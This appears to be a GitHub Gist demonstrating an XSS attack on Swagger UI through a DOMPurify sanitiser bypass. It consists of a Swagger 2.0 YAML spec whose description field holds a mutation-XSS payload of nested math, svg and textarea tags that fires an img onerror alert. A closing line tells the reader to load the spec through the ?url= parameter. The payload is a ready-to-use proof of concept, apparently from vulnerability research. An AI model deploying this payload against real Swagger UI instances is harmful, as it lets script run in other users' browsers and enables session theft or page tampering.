Last active
May 30, 2022 14:21
-
-
Save yak0n/baa8461e6703524d018e4d386b698ee6 to your computer and use it in GitHub Desktop.
swagger-ui xss via DomPurify bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| info: | |
| title: Example yaml.spec | |
| description: | | |
| <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>"> | |
| paths: | |
| /accounts: | |
| get: | |
| responses: | |
| '200': | |
| description: No response was specified | |
| tags: | |
| - accounts | |
| operationId: findAccounts | |
| summary: Finds all accounts |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
embed it via ?url=https://...